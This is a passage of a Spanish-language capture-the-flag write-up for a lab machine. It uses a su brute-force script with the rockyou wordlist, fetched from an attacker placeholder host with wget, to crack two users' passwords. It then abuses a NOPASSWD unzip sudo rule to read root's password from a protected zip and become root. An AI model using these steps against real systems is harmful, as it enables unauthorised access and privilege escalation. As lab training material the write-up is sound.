Vamos a pasarnos dicho archivo a la carpeta /tmp
, una vez que lo hayamos echo le daremos permisos de ejecuccion de esta forma:
cd /tmp
chmod +x suBruteforce.sh
Y vamos a pasarnos el diccionario desde el host
.
cp /usr/share/wordlists/rockyou.txt rockyou.txt
python3 -m http.server 80
Ahora desde la maquina victima haremos lo siguiente:
wget http://<IP_ATTACKER>/rockyou.txt
Una vez que nos hayamos pasado todo, lo ejecutaremos de esta forma:
./suBruteforce.sh baluton rockyou.txt
Info:
[+] Contraseña encontrada para el usuario baluton:123123
Vemos que ha funcionado, por lo que nos cambiaremos a dicho usuario.
su baluton
Metemos como contraseña 123123
y veremos que seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for baluton on 3d3d44c146ca:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User baluton may run the following commands on 3d3d44c146ca:
(ALL) NOPASSWD: /usr/bin/unzip
Vemos que podemos ejecutar el binario unzip
como el usuario root
.
Pero si probamos a descubrir la contraseña del otro usuario llamado redghost
tambien la encontraremos:
./suBruteforce.sh redghost rockyou.txt
Info:
[+] Contraseña encontrada para el usuario redghost:estrella
Si cambiamos a dicho usuario, tambien nos funcionara, pero no veremos nada interesante, por lo que vamos a realizar un fuzzing
con los 2
usuario a ver que encontramos.
Pero si listamos la raiz (/
) veremos el siguiente archivo.
-rw------- 1 root root 230 Jun 23 16:27 secretitosecretazo.zip
Vamos a descomprimirlo con el sudo
que tenemos de unzip
de esta forma:
sudo unzip /secretitosecretazo.zip
Info:
Archive: /secretitosecretazo.zip
inflating: regalitoregalazoregalin.txt
Veremos que nos dejo un archivo llamado regalitoregalazoregalin.txt
si lo leemos veremos lo siguiente:
root:balulonbalulinbalutonjeje
Por lo que vamos a probar si fueran las credenciales de root
.
su root
Metemos como contraseña balulonbalulinbalutonjeje
...
Info:
root@3d3d44c146ca:/tmp# whoami
root
Veremos que ha funcionado, por lo que ya seremos el usuario root
y habremos terminado la maquina.
Last updated